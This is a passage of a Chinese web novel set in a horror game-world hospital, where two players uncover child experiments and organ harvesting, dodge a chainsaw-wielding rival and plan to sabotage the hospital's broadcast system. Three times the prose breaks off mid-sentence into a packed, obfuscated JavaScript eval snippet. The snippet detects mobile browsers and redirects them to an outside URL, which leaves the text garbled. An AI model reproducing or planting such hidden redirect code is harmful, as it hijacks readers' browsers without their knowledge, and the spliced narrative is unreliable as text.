下方的空间并不废弃肮脏,还算整洁。这里被打造成了一个类似于中世纪小教堂的样子,两侧是两排木质长椅,中间留出给人行走的通道,而通道的尽头是一个黑色十字架。 十字架上钉着一个身影。 那是一个十六七岁的女孩,骨瘦如柴。她穿着一件白色袍子,头发乱糟糟的,遮住了大半面容。她的双手手掌被细长的金属钉贯穿,死死钉在十字架的横木上,血迹早已干涸,在她苍白的手臂上留下痕迹。 她半睁着眼睛,冷冰冰地望着前方。 初与序和冬逢初屏住呼吸,小心翼翼地绕到教堂左侧的木桌下,蹲在那里从这个角度看过去。 直到这时他们才清楚地看见,上方的女孩左眼的眼窝是一个空洞,里面什么都没有。而右眼就是正常的黑,深不见底。 单良来到十字架前面,仰头看着被钉在上方的女孩。但他的眼神完全不对,不是一个正常人的眼神。瞳孔涣散,里面没有神采,脸上肌肉松弛,呈现出绝对的顺从,像是被蛊惑了一般。 他愣愣地站在那,像是在等待指令。 十字架上的女孩缓缓垂下视线,目光落在他空着的双手上。 “眼睛呢?”她张开口,声音沙哑,“我等了很久很久了,单医生。上次你空手回来,这次,还是空手。” 单良的身体颤抖了一下,声音闷闷传来:“抱歉,她,很警惕。而且她身边有人帮忙,我抓到她了,但……没拿到。” “没拿到?”女孩重复了一遍,嘲讽道,“单医生,这么多年,你的实力下降了很多啊。当年,你对付我们这群孩子时,可不是这么没用的。怎么,现在连一个小姑娘都对付不了了?” “你和你的同事们手段不是多得很吗?我记得很清楚,我们这批孩子刚被送进来的时候,你和他们是怎么在我们身上做实验的。一个个试过去,看谁最有用。” 单良的呼吸变得粗重起来,他低下头。 女孩的语调慢悠悠的:“那么多孩子里,就数我最让你们满意,对吧?你们觉得我最有希望,在我身上花了那么多心思,想用我的精神力,去创造你们那个该死的‘新世界’?” “实验是失败了没错,但我没给你们带来好处吗?是因为有我这个前科,导致你们最终实验成功。我给你们付出了那么多,我现在只需要你给我一只眼睛,有那么难?” “别说了……”单良哀求道。 “别说了?”女孩的声音陡然拔高,带着怨毒,“你们做都做了,还怕我说?要不是你们贪得无厌,要不是你们……” 她的情绪激动起来:“要不是你们失败了!安安怎么会……怎么会变成那样!” 提到“安安”这个名字,她周围的嘲讽被痛苦和愤怒取代,十字架都因为她的挣扎轻微摇晃。 单良往后缩了缩:“不,宋归安她……她是意外。” “你们管那叫意外?”女孩打断他,“是你们!是你们没控制好!是你们的贪心害死了她!把她分尸!你们拿走了她所有的器官,只留下一个没有眼睛的头颅和骨架!” 她剧烈地喘息着,右眼里燃烧着恨意和痛苦。 “我告诉过你,单良。”她道,“把安安还给我。把她被你们夺走的,一点一点,都找回来!现在,就差最后一样了……” 她的目光再次落在单良空空的手上,疯狂的恨意被另一种令人胆寒的执念取代。 “把那个匹配的眼睛,给我带来!” 单良僵硬地点了点头,接下了死命令。 十字架上的女孩垂下眼,很快平复了心情。她幽幽地叹了口气,道:“单医生,你到现在都没有发现吗?我们这里可是跟来了两位‘新朋友’呢。” 她话音刚落,单良眼中那层麻木散去,恢复了他本人的清明。他猛地转过头,直勾勾地落在初与序和冬逢初藏身的桌下。 糟了! 他的身体发生了恐怖的变化,皮肤变得灰败,四肢不自然地抽长,那颗硕大的独眼再次占据了他的脸庞。 楼上五楼病区方向竟然也传来了此起彼伏的怪物嘶吼声,显然单良的变化唤醒了整个五楼所有的医生怪物。 现在初与序和冬逢初只庆幸五楼没有护士,只有医生。他们飞快从藏身处窜出,单良异化出的细长肢体甩来,死死缠住他们刚刚藏身的长桌,高高抡起,朝着他们站立的位置狠狠砸来!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17034018|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 两人分别从两侧跃开,躲避着飞溅的碎块。 木桌在巨大的力量下四分五裂,木屑四溅,把坚硬的地面砸出一个坑。初与序抬起手臂,格挡住一块木头,大脑飞速转动。 方才女孩和单良对话中的“新世界”,指的应该就是永冬之城。善佑医院从很早以前就在进行创造世界的疯狂尝试,这个被钉在十字架上的女孩就是第一个牺牲品。实验显然失败了,她力量失控反噬,最终被医院囚禁于此。而医院从未停止实验,直到永冬之城出现,他们成功了。 初与序趁着单良一击落空,朝着十字架上的女孩喊,“你们当年实验失败,那后来成功时,用来创造‘新世界’的孩子,是谁?” 女孩显然被初与序这不顾一切的举动惊讶到,她看了一眼不远处的冬逢初,随即又缓缓落回初与序身上,神色复杂。 她冷冷地别开脸:“我不知道,就算知道,也不会告诉你。” 前方通往楼梯的门早已闭合,上方还有更多怪物逼近的脚步声。初与序放弃询问女孩,和冬逢初对视一眼,转身朝着教堂更深的地方冲去。 深处没有什么建筑,就是普通的暗道。没有任何光线,只有冬逢初手中蜡烛的微弱光晕。 身后医生怪物的速度依旧快得惊人,呼吸就贴在背后,越来越近。这条暗道笔直向前,再这样跑下去,被追上只是几秒钟的事。 就在这时,旁边的冬逢初猛地一挥手,直接灭了他自己手中的蜡烛。 视线被黑暗吞没,初与序眼前一黑,下意识停住脚步,心脏猛地一缩。 紧接着,一只手探了过来,顿时她的手腕就被握住了,她感觉自己被向侧前方一拉,似乎撞进了一个墙壁上的凹陷或者小型洞穴里。 初与序刚要挣扎,另一只手已经从后方捂住了她的嘴,身体被熟悉的怀抱从后面环住,一股清洌中带着微苦的勿忘我花香淡淡萦绕过来。 她立刻停止挣扎,抬起手,轻轻拍了拍捂住自己嘴的手背。冬逢初会意,松开了手,但怀抱着她的手臂没有放开,帮她垫着硌人的石壁。 现在冷静下来,初与序才觉得不对劲。 那医生怪物没长耳朵,即使举着音箱在它耳边放DJ它也感觉不到,只是根据视力来追人。冬逢初知道这一点,不需要捂着自己的嘴,他方才一连串的动作明显是下意识,像是以前做过了很多次,都形成了条件反射。 从他们俩在永冬之城相遇到现在,将近三个月,即使在副本中,也没用需要抱在一起不出声躲避什么东西的时候。那他这种条件反射的行为究竟是什么时候,在哪里,和谁,练习的? 冬逢初,你别装了。 初与序垂下眼,避免视线在黑暗中与附近的医生怪物发生对视。 寂静中,两人能听见不远处医生怪物的脚步声,在原地徘徊摸索。 幸运的是,这里没有听觉敏锐的护士怪物指引方向,那医生怪物在伸手不见五指的黑暗中徒劳寻找了半天,还是朝着来时的方向走去,越来越远。 208.坏孩子 两人刚松了半口气,一阵压抑的哭泣声忽然从暗道更深处传了过来,断断续续的。 哭声起初细微,变得越来越响亮,带着剧烈抽噎。 初与序和冬逢初对视一眼,立即从藏身的凹陷处出来。冬逢初重新点燃蜡烛,照亮前方的路,两人都想到了同一个地方——禁闭室。 现在折返回大堂相当于自投罗网,那里应该早已被医生怪物们堵死。初与序在心里叹了口气,只能和冬逢初顶着哭声向暗道深处走去。 越往里走,他们发现暗道的出口竟然连通着一个狭小的房间,房间四周被厚重的铁栅栏封死,血腥味和女孩的哭声正是从这里弥漫出来的。 冬逢初靠近铁栅栏边,将蜡烛举高,去看内部的场景。 那是一个四四方方的小房间,出乎意料的里面很干净,还放着一张简单的铁架床。一个女孩蜷缩在床上,双手紧紧捂着脸,肩膀剧烈颤抖。 空气里全是血腥味,但女孩身上干干净净的,露出的手腕和脖颈上也看不到任何伤口。 应该是听到了脚步声,床上的女孩猛地停止了哭泣,她放下手,惊恐地抬起头,望向铁栅栏外,带着哭腔道:“谁……是谁在那里?有人来吗?” 借着烛光,初与序和冬逢初看清了她的脸。她的左眼眼眶红红的,但瞳孔是灰蒙蒙一片,而右眼的位置,是一个空洞洞的眼窝。 初与序想起了十字架上的那个女孩空着的左眼,她是不是挖出了自己完好的左眼,给了眼前这个人。 冬逢初放低声音,温和开口:“不用担心,我们是新来的病人。” 初与序看着女孩,问道:“你是宋归安?” 女孩身体明显一僵,脸上写满了惊讶,像是很久没有其他人叫她的名字了:“你……你怎么会知道我的名字?你们不是新来的吗?” 初与序沉默着,良久,才开口道:“我们来的路上,经过了一个小教堂,那里有个十字架,十字架上有个女生,应该是你很重要的朋友。” 听到这话,宋归安刚刚止住的泪水再次涌出,她低下头,哽咽地承认:“是……她是我,最好最好的朋友。” 初与序平静地点了点头,道:“我们和这里的其他孩子不太一样,你有什么难处,也许我们可以帮忙。” 宋归安听到这话,像是抓住了救命稻草。她吃力地从床上撑起来,脚步歪斜地冲到铁栅栏边,那动作很不协调,像是这具身体并不完全属于她。她双手死死抓住冰冷的铁条,泪水淌过苍白的脸颊,哀声求道: “求求你们……告诉她,快停下吧……现在还来得及,把我的手脚、把我的身体都还回去,她不能为了我再错下去!” 初与序和冬逢初被她这番话弄得一怔,冬逢初安抚道:“别急,慢慢说,到底是怎么回事?” 宋归安顺着栏杆滑坐在地上,蜷缩起身体,双臂抱住膝盖。她低着头,声音很轻: “我和她,是从小一起被拐卖过来,在这里长大的。那时候,我们是第一批病患,医院里的人在我们所有孩子身上做各种测试。那些测试很复杂,我看不懂,但我能知道那是查看我们每个人的精神力的。” “她的精神力不仅强,还很特殊,整个医院好像只有她一个人的精神力对医院有用。医院将她囚禁在五楼,每天不停地做实验。但她的力量很不稳定,经常暴走,容易让医护人员受伤,她自己也会受到反噬。” “不久之后,他们发现,只要我和她在一起,她的情绪就会很平稳,她身体里特殊的精神力,也不会乱跑。这对于医院来说是一个天大的好消息。” 宋归安停顿了一下,呼吸有些急促。 “他们一直在用她的力量,去做一件很可怕的事情,好像是……要创造出一个新的世界。他们觉得我是能管得住她的人,就一直让我陪在她身边。” “很快,医院就在她身上进行了第一次正规的大型实验,开始操控她的精神力,构建那个新世界的规模。但实验失败了,她彻底受不了了,在医院五楼放了一把大火,谁都拦不住,医院差点就被烧没了,很多医护人员和孩子都死在那场火灾里,也有几个医生被她控制住了。” 宋归安的声音开始发抖:“医院的那些人,他们觉得是我让她分心了,是我让她不听话。他们觉得,只要没有我,她的力量就能被削弱,就能被他们控制住……所以,他们把我……” 她说不下去了,把脸埋在膝盖里,瘦弱的肩膀剧烈地颤抖着。过了好一会儿,她才用几乎听不见的声音继续道: “他们杀了我,把我拆开了,等我再有意识的时候,就只剩下头和骨头架子,被扔在这里。我以为我死了,可我又还能想事情,还能感觉到她……” “她一定是疯了。”宋归安抬起头,对着初与序他们的方向,“她让善医生去抓别的孩子,把他们的手脚、眼睛……一个个换到我的身上。想把我拼回去,像以前一样。” “医院高层知道这种情况,他们没有阻止。他们认为如果真的能复活我,就能重新控制她,重新开启创造新世界的计划。这个办法会让很多孩子失血感染死亡,但他们无所谓,死掉一个,他们可以再抓进来另一个。” “我生来……就是看不见的。”她空茫的左眼望着虚空,“两只眼睛都失明。” “她不一样,她只有左眼不好,右眼正常。”宋归安伸出手,指了指自己灰蒙蒙的左眼,“她知道我失明。” “她就把她自己那只失明的左眼,硬是挖给了我。” 她说到这里,声音哽住了,好一会儿才继续:“但除了左眼,还要找一个大小合适,连那点说不清道不明的精神气息都能对上的人,还要那人……刚好右眼是后天失明的。” “他们等了很久很久,医院里来来去去那么多孩子,却始终没有找到完全符合条件的,复活我的计划也一拖再拖,她的脾气也越来越烦躁。” 宋归安并不知道眼前的初与序正是他们要找的人,她开口说着。 原来是这样,医院里没有符合的右眼,但直到初与序的出现。初与序右眼后天失明,大小合适,而她身上不知为何,也带着一种让单良和十字架女孩都感到熟悉的精神特质。所以单良才会死死盯着初与序不放。 宋归安的眼泪流下来。 “可这不是我啊……这些都不是我的。每多一块别人的东西,我就觉得离自己更远一点。而且单医生告诉我,必须凑齐所有身体器官,一点都不能差,这个拼凑才能算成功,我才能有一个真正属于自己的身体。要是凑不齐,我体内最后的精神力迟早会耗光,到时候,就连我自己的骨头架子都会散掉,她就真的……什么都找不回来了。” “求你们。”她扒着栅栏,“让她停手吧。我不要这样活过来,我可以就这么死去。我不要她为了我,变成和那些医生一样的人。” 【恭喜玩家初与序、冬逢初成功探寻到——「五楼的秘密」。】 【副线任务更新:解放痛苦的灵魂。】 【因各位新病人的介入,善佑医院五楼两位特殊存在的意识已经出现短暂清醒,此状态不可逆。】 【24小时后,宋归安残存精神力将彻底耗尽,其存在将完全消散。第一位试验者将因此陷入最终疯狂,并摧毁整个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17034019|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 副本,所有玩家将视为任务失败,随宋归安一同逝去】 【各位是选择交出玩家初与序的右眼,完成器官拼合,成为医院的同谋。还是选择阻止拼合,束缚灵魂,成为狠心的同伴呢。】 【请各位玩家在24小时内做出最终选择。】 【祝各位存活愉快。】 这突如其来的广播让副本各处的玩家都为之一振,正在四楼某个角落与护士躲猫猫的随歌听到内容后,忍不住在心里痛骂副本。 禁闭室内,宋归安似乎因为刚才那番倾诉耗尽了精神和力气,蜷缩在地上,沉沉昏睡过去。 初与序和冬逢初不再停留,沿着禁闭室后方一条通道,小心翼翼向上摸索,绕回了五楼区域。 他们推开一扇虚掩的门,还没踏进去,一道寒光直直朝着初与序的右眼飞来! 初与序抬起手臂猛地格挡,手术刀被她挡开,方向一偏,狠狠扎进了旁边的木质门框,刀柄还在微微颤抖。 初与序放下了发麻的手臂,抬眼向屋内看去。 只见付遇扛着那台轰鸣的电锯,面无表情地站在房间中央,冷冷地看着两人。 ……完蛋。 房间里顿时鸡飞狗跳起来,付遇压根不给两人对话的机会,提起电锯就追。外面走廊上怪物多,现在冲出去就是前后夹击,死路一条,初与序和冬逢初只能在这房间里硬撑。 幸好这房间还算宽敞,不然墙皮和天花板估计早就被拆完了。 付遇完全是破坏式打法,眼里只有目标。很快,桌椅、柜子、小推车等都被她锯断。她随手抓起锯下来的东西,看也不看就朝着两人的方向狠狠砸来。木屑灰尘碎纸漫天飞舞,她还顺手捞起散落的手术刀、剪刀等,当飞镖一样掷出。 冬逢初在躲开一把飞来的止血钳后,趁着付遇电锯卡进桌板的功夫,提高声音试图沟通:“付小姐!现在这个情况,我们内斗是不是不太合适?!” 付遇一把拔出电锯,回头甩来一个冰冷的眼神:“废话真多!杀了你们,拿到眼睛,就是最快最合适的通关方案!” 初与序猛地侧身,一块被付遇随手掰下的铁皮擦着她肩膀飞过,哐当一声砸在墙上。 付遇毫不停顿,举着轰鸣的电锯趁机当头劈下! 就在锯刃快要碰到初与序时,“嘎吱”一声,电锯的链条竟被木屑死死卡住,轰鸣声戛然而止,电锯暂时罢工。 付遇动作一顿,低声骂了一句,不得不停下,暴躁地低头去捣鼓自己的杀人凶器。房间里安静下来,初与序和冬逢初趁机退到门边。 “付小姐。”初与序看着低头修理电锯的付遇,快速道,“我们是不是该先想想别的事?比如之前电路断路,为什么系统也跟着失灵了?” 下一秒—— “嗡——!!” 付遇猛地一拉启动绳,电锯重新发出狂暴的咆哮,那巨大的噪声震得人耳膜发疼。 说实话吧,这玩意拉响一下,是个人都得冷静几秒。 刚刚升起的一点对话可能性被撕碎,初与序和冬逢初脸色一沉,心知目前已经没有转圜的余地。 就在这千钧一发之际,系统广播忽然响彻整个医院: 【警告!警告!四楼病区发生大规模病人骚乱,主要参与者:随歌、林志。所有医护人员及安保人员,立即前往四楼处理!】 广播刚落,房间外的走廊上就传来了医生怪物们的脚步声,他们涌向楼梯口,迅速下楼。不过十几秒,整个五楼就恢复了安静。 不等付遇反应,初与序和冬逢初拉开门就往走廊冲,心里感谢了随歌无数次。 209.坏孩子 五楼走廊上果然没有了医生怪物的身影,但出乎意料的是,这里并不完全冷清。许多五楼的孩子在凌晨三点时还没睡,他们趁着这个空档,三三两两地溜到走廊上,低声交谈张望,还有人玩着简单的游戏。 张磊、李荟,以及那个之前被保安拖上五楼的女孩,都在其中。他们看到初与序和冬逢初从房间里冲出来,脸上都露出诧异的神色,刚想开口问点什么。 “哐当!” 房门被踹开,付遇扛着那台几乎和她一半高的电锯,杀气腾腾地追了出来。 走廊里陷入诡异的沉默,正常的,所有看到这一幕的孩子都冷静了几秒,一个个眼睛瞪得老大,说不出话来。 付遇扛着电锯,仔细在所有人影中寻找,找了半天,哪里还有初与序和冬逢初的踪迹?短短几秒的工夫,那两人竟像是融化了,一片衣角都找不到。 她没有停留,一路追到505病房门前,心头火起,抬脚狠狠踹了过去!门板撞在墙上,里面却是空荡荡静悄悄的,没有一个人。 走廊上,那些胆大溜出来的孩子都好奇地围拢过来,远远看着。 付遇知道,那些医生随时可能返回五楼,现在不是纠缠的良机。她强压下心头怒火,当着所有孩子的面,反手将沉重的电锯往背后一收,那凶器凭空消失,回到了面板里。这一手,又引得周围的孩子惊讶。 有人张了张嘴,壮着胆子想问些什么。 就在这里,电梯间房方向传来了电梯向上运行的声响。孩子们脸色齐刷刷一变,瞬间作鸟兽散,飞快溜回了各自的病房。付遇也冷哼一声,闪身退回了504。 与此同时,515病房内。 烛火轻轻摇曳,之前那个被保安拖上五楼的女孩小心地将门掩好,转过身,对着被她及时拉进房内藏身的初与序和冬逢初道:“他们都回去了,医生马上就到。” “多谢。”冬逢初轻声道,初与序也微微颔首致意。 女孩摇了摇头,表示不必。她的目光无意间扫过冬逢初的肩膀,眉头忽然蹙起。她将手中的蜡烛凑近了些,光芒照亮了她肩头那一小片血迹。 “你的肩膀……是不是在流血?” 初与序闻言侧头看去,只看见冬逢初肩头的蓝白病号服已经被鲜血染红了一小片。他自己却只是温声说:“刚才动作大了些,牵扯到了旧伤,没事的。” 之前在永冬之城忘川桥上挨的那一发子弹太重,即使随歌用尽全力用竹扇治疗,但伤口还是不能完全愈合,动作一大,旧伤就复发。 他脸色苍白,嘴唇失了血色,哪里是“没事”的样子。 女孩没再多问,转身走到床头柜边,从抽屉里取出一个小布包,里面是一小瓶酒精和一卷干净的绑带。她将东西递给初与序:“我刚进来那会儿,以防万一,一直随身带着一些药品。早上被他们拖上来,也偷偷塞在衣服里带过来了,现在刚好用得上。” 初与序接过,让冬逢初靠着空置的病床坐下。小心翼翼地剥开黏在他肩头伤口上的衣服。冬逢初感受到刺痛,他咬着下唇,一声不吭。 初与序拧开酒精瓶,看着里面的液体,动作顿了顿,她抬起眼,看向那女孩,刻意搭话分散冬逢初的注意力:“还不知道你的名字。” “叫我小月就好啦。”女孩明白过来她的意思,顺着她的话走,“你们呢?” “初与序。”初与序报上姓名,将酒精倒到伤口上时,她察觉到冬逢初的身体抖了一下。 “冬逢初。”他叹了口气,哑声接上,烛光在他疲惫的眉眼间投下淡淡的阴影。 初与序将绷带仔细缠好,直起身,道:“冬逢初,你有点累了,睡一会吧。” 冬逢初忍着肩头的痛,摇了摇头,示意自己还能坚持。 对方没再强求,只是转身走到桌边,拿起水壶和两个一次性纸杯,倒了温水。一杯递给冬逢初,他接过,仰头慢慢喝下。另一杯递给小月,她低声道谢,抿了一下口,便将纸杯轻轻放在床头柜上。 房间里一时安静下来,外面的走廊也恢复了安静。 初与序倚着桌沿,打破沉默:“小月,这医院里的广播似乎总能知道每个孩子都在做什么,我们刚来时就听到了。” 冬逢初也抬起眼,安静地听着。 小月抱着膝盖,下巴抵在臂弯里,闻言点了点头,厌烦无奈道:“嗯,那东西很烦人。它和我们的手环是连着的。我们做了什么,它都能知道。平时谁不听话,犯了错,扣了分,或者像我今天早上被拖上来,它都会广播出来,让所有人都能听见,算是杀鸡儆猴。” 初与序和冬逢初默默对视了一眼。他们刚进副本时,确实先入为主地以为这个副本和其余副本一样,所有提示音都来自于永冬之城的主系统,却忽略了这个副本内部也可能存在独立的系统。 如果这样,那就说得通了。当时剪断电线,灯光和医院广播一起失灵了,所以初与序和冬逢初破坏电力室时,医院的广播才无法播报扣分。而后来他们被送到五楼,这是玩家的状态改变,则是由永冬之城的主系统接管,所以才会在电路中断时听到主系统播报他们身份改变。 冬逢初顺着小月的话,问道:“这么说,广播和手环,还有这栋楼的电,都是连在一起的吗?” “应该是吧。”小月想了想,“我记得有一次,不知道哪层楼电路出了问题,整栋楼黑了好一会儿,那段时间广播也彻底哑巴了,一点声音都没有。那时候我们干什么,它都管不了。” 电路确实是这个副本的弱点,切断电源,就能同时瘫痪照明、医院的监控,和系统广播。 初与序想了想,问道:“如果这里的广播彻底坏了,手环还会响吗?” 小月被这个问题问得愣了一下,皱起眉:“广播……彻底坏掉?这种情况还从未发生。” 她喃喃道,忽然睁大眼睛:“如果它真的彻底不响了,手环大概也就没用了。毕竟它们是联通的,医生们也很难知道所有人都在干什么了。” 《永冬之城规则守则》明确规定:玩家不能在通关副本时毁掉副本内一切物件,在这里也包括医院的系统。但因为现在的永冬之城是雪纪周,副本内的系统监管程序不完善,所以即使他们毁掉了副本,也不算违规。 毁掉副本广播系统,就能让手坏失效,整个副本空间也会陷入混乱,那时或许就能将这些被囚禁的孩子们组织起来,趁着这片混乱,逃离善佑医院。 谈话间,冬逢初只觉得眼皮越来越沉。他抬头揉了揉额角,试图驱散困倦,却是徒劳,视野开始模糊。 他勉强抬起眼,开口想说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17034020|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些什么,就见初与序淡漠地看着自己,但动作极轻地将被子拉到他身上为他盖住,嘴唇动了动: “好梦。” 接着,他的意识消失,陷入沉睡。 小月惊讶地看着这一幕,有些无措:“他……他刚才不是还不困吗?”她很快看向冬逢初刚才喝过的那只纸杯,又看向初与序,压低声音,“你在水里放了安眠药?!” 初与序淡淡地点了下头:“他很久没睡好觉了,至少天亮前让他睡几个小时。” 小月张了张嘴,想说什么,但初与序的行为确实没错,终究还是没说。 忽然,她想起清晨的事,忍不住问道:“对了,早上我被他们拖上来的时候,你为什么要我等你们?你们是故意来五楼的吗?” “还有……你明明是新人,怎么会知道我们中层病患之间用的手势暗号?” 初与序闻言略一思索,抬起右手,中指与无名指并拢,随后弯曲食指,形成一个简单的手势。 “你说这个?”她做完,平静地解释,“被押送来的时候,看见走廊上有别的孩子偷偷比画,猜了一下意思,就用了。” 小月没有任何怀疑,用力点了点头,眼睛亮了起来,小声问:“那……你们故意来五楼,是不是……是不是来帮我们逃出去的?” 初与序沉默了几秒,回答道:“……可以这么说。” 小月瞥了一眼床上熟睡的冬逢初,又转回头,笃定地对初与序说:“那你和冬逢初一定不是普通人,对不对?其实我第一眼看到他的时候,就觉得他不对劲,至少医院里的普通孩子不一样。” 初与序微微扬起眉:“为什么这么说?” “我也说不好那种感觉……”小月努力组织着语言,“就是,他看起来很真实,但又好像轻飘飘的,不像完全属于这个世界。可他明明又站在这里,能碰到,能说话,那他一定就是……‘神’了,对吧?” 初与序意识到,好像不止一个人觉得,冬逢初轻飘飘的,不属于这个世界,就连冬逢初自己也这样认为。 她沉默了片刻,点了点头: “是的,只有他是神。” 小月得到肯定的答复,立刻兴奋起来。她还是第一次如此接近传说中的“神”,忍不住又好奇地问道:“那……他是什么神啊?” 初与序没有立刻回答,她单手撑着脸,目光再次落回冬逢初脸上,他十五岁的面容清秀俊美,还带着未褪尽的少年稚气,即使在睡梦中眉宇间也带着温和。这张脸,与她梦境里十五岁的冬逢初一模一样。 良久,她开口,声音几乎要散在烛火里:“我也不知道。” 小月没听清,追问道:“什么?” 初与序没有重复自己的话,语气恢复了平时的平静,道:“没什么。医院的档案室在501吧?” 小月还沉浸在“神”的震撼里,愣了一下,才连忙点头:“啊对,是的,就在走廊那头。” “你也睡一会吧。”初与序看向小月,“明天会发生很多事。” 小月懵懂地点了点头,依言躺到另一张病房上,却还是忍不住侧过身,望着初与序:“那你呢?” 初与序缓缓摇了摇头,示意自己并无睡意。小月见她态度坚决,知道劝不动,便也不再说什么,闭上了眼睛。 210.坏孩子 四楼禁闭室,阴风惨惨。 两根石柱上绑着一对难兄难弟:随歌与林志。他们脸上挂彩,衣衫凌乱,显然是刚刚经历了一场寡不敌众的英勇搏斗。 随歌仰天长叹,悲愤不已:“贼老天!你搞错了吧!剧本不该是这样的!我难道不该是那个手持神兵、风流倜傥的天才少年,与我的队友们并肩作战,快意恩仇吗?!为何此刻会与一只疯狗一同被绑在这暗无天日之日,劳其筋骨,饿其体肤?!” 林志气得脑袋冒烟,猛地扭过头大骂:“你他娘的说谁是狗?!还有脸说!要不是你突然扛着灭火器冲进休息区发疯,那些孩子能被你煽动起来?闹出那么大动静,把那些鬼东西都引来了!我上去拦你,你居然还肘击我!” 他说话太急,扯到嘴角的淤青,顿时疼得龇牙咧嘴。 随歌毫不示弱地瞪回去:“老子乐意!我就是故意来这儿的怎么着?这儿禁闭室,风水独好,老子看上了!” 林志被他这无赖劲儿噎得一口气没上来,干脆闭嘴,捆在背后的手开始拼命扭动,试图解开绳索:“妈的智障,不跟你废话了!没听见那些医生说天一亮就要带我们去‘治疗’?谁知道是不是无麻药开颅!不想变傻子就赶快想办法溜!” 随歌嘴上不饶人,动作却没停,也开始暗中使劲,琢磨着脱身之法。 次日清晨,六点整。 刺耳的起床铃如魔影灌耳,打破了五楼的安静。各个病房里顿时骂声一片,抱怨这惨无人道的起床时间。但在医生的“温柔”下,他们还是不情不愿地爬起来洗漱。 515病房内,三人几乎同时睁开了眼。 初与序从椅子上站起身,揉了揉酸痛的肩膀,看向爬起来的冬逢初:“一会去食堂,付遇很可能动手。安全起见,先避一避。” “那你们可以先藏进衣柜里。”小月拉开衣柜的门,“我是女生,医生一般不会随便打开女病人的衣柜看。” 两人立刻躲进了衣柜里,空间狭小,气息交融。 查房的医生是白阔,他推门进来,目光在房间里扫了一圈,只见小月一人坐在床边,便也没多问,例行公事地转了一圈,便带上房门离开了。 食堂里,付遇看着对面空荡荡的两个座位,不耐烦地“啧”了一声,却也只能放弃现在就把那两人办了的念头,低下头去喝碗里的粥。 估摸着早饭时间已过半,走廊上人迹渐稀,初与序和冬逢初才偷偷溜出了病房。 他们凭着记忆摸到了五楼广播站门口。大门紧闭,门上既无锁孔,也无把手,只有一个需要插入卡片的电子锁,指示灯泛着红光,此路不通。 冬逢初试着用手撬了撬面板,自然是纹丝不动。初与序看向门旁边一块透明的挡板上,从外面看,可以看见里面密密麻麻的精密仪器。 两人很快发现,这里的布局,以及仪器的模样,似乎与他们俩之前在永冬之城暗网上看到的系统总部照片上系统总机房的布局,有七八分相似。 看来,这里的副本系统,和永冬之城的主系统差不多。如果能拿到卡片,进入广播站,大概就能剥夺医院系统的控制权,朝着全副本发布某些指令。 初与序盯着那锁孔,想起之前在三楼大堂那个大肚子的院长,他腰间的钥匙串里好像就夹着一张黑色卡片。 “卡应该在院长身上,他随身带着。”她说道。 问题来了,院长神龙见首不见尾,初与序当年在现实的善佑医院就没见过院长几面。这副本里的院长更是深居简出,想靠着老办法惹事把他引出来,恐怕麻烦没解决,自己先被怪物给处理了。 眼下,也只能指望那位总是笑眯眯,让人捉摸不定的白医生了。 昨日短暂的接触,两人心中对白阔的为人已经有了几分模糊的轮廓。 此时,早饭时间结束,孩子们从食堂里涌出。两人对视一眼,默契地低下头混入人群,没让付遇察觉。 五楼的规矩,晚上是训练,白天倒还算自由。孩子们站在护士站前,可以自由选择这一天想干的事情,并登记。 初与序和冬逢初混在队伍最末端,探头去看那日程表。上面罗列着各种事:打扫卫生、自我训练、图书馆阅览等等,甚至还有“协助医师工作”。 冬逢初压低声音:“我们去找白阔。” 初与序思考片刻,摇了摇头:“先不,我一个人去。我们总待在一起,目标太大,一起去找他,他总能意识到不对。不如装作我们不和,你去做离付遇远一点的活,我一人去找白阔。” 冬逢初很快明白了初与序的意思,让他自己来扮演“不服管教”的角色,而初与序是与他对立面的“乖巧”,以此剥夺白阔的信任。他点了点头。 轮到他们时,冬逢初果然选择了打扫广播站外围。而初与序上前一步,写下了「协助白医生工作」的字迹。 负责登记的白阔看到字迹,有些意外地挑了挑眉,看向她。 一直站在白阔身旁的单良,立刻抓住了机会,眯了眯眼,道:“白医生,我这边正好缺个人手,不如让她来我这儿吧。” 他盯着初与序,显然是想将她放在自己的掌控之下,趁机下手。 白阔缺笑眯眯的,看也没看单良,慢悠悠道:“单医生,强扭的瓜不甜。你看这小姑娘,分明是不愿意去你那儿嘛。” 他一句话轻飘飘地堵了回去,不等单良反驳,合上登记本,对初与序道:“跟我来吧。” 初与序乖乖跟上,趁他没看到,自己回过头,朝脸色铁青的单良一挑眉,笑了一下。 单良:“???” 来到了白阔的办公室,这里宽敞明亮,陈设精致,与五楼其他地方的破败压抑截然不同,可以看出白阔在医院的地位不凡。 